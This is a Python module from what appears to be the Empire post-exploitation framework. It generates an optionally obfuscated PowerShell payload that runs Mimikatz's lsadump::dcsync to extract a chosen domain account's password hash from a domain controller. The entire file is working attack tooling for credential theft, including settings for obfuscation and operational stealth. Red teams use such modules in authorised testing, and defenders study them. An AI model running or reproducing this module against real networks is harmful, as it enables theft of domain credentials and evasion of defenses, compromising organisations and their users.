Files

106 lines
3.7 KiB
Python

from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Mimikatz DCsync',
'Author': ['@gentilkiwi', 'Vincent Le Toux', '@JosephBialek'],
'Description': ("Runs PowerSploit's Invoke-Mimikatz function "
"to extract a given account password through "
"Mimikatz's lsadump::dcsync module. This doesn't "
"need code execution on a given DC, but needs to be "
"run from a user context with DA equivalent privileges."),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'Language' : 'powershell',
'MinLanguageVersion' : '2',
'Comments': [
'http://blog.gentilkiwi.com',
'http://clymb3r.wordpress.com/'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'user' : {
'Description' : 'Username to extract the hash for (domain\username format).',
'Required' : True,
'Value' : ''
},
'domain' : {
'Description' : 'Specified (fqdn) domain to pull for the primary domain/DC.',
'Required' : False,
'Value' : ''
},
'dc' : {
'Description' : 'Specified (fqdn) domain controller to pull replication data from.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self, obfuscate=False, obfuscationCommand=""):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
if obfuscate:
helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
scriptEnd = "Invoke-Mimikatz -Command "
scriptEnd += "'\"lsadump::dcsync /user:" + self.options['user']['Value']
if self.options["domain"]['Value'] != "":
scriptEnd += " /domain:" + self.options['domain']['Value']
if self.options["dc"]['Value'] != "":
scriptEnd += " /dc:" + self.options['dc']['Value']
scriptEnd += "\"';"
if obfuscate:
scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
script += scriptEnd
return script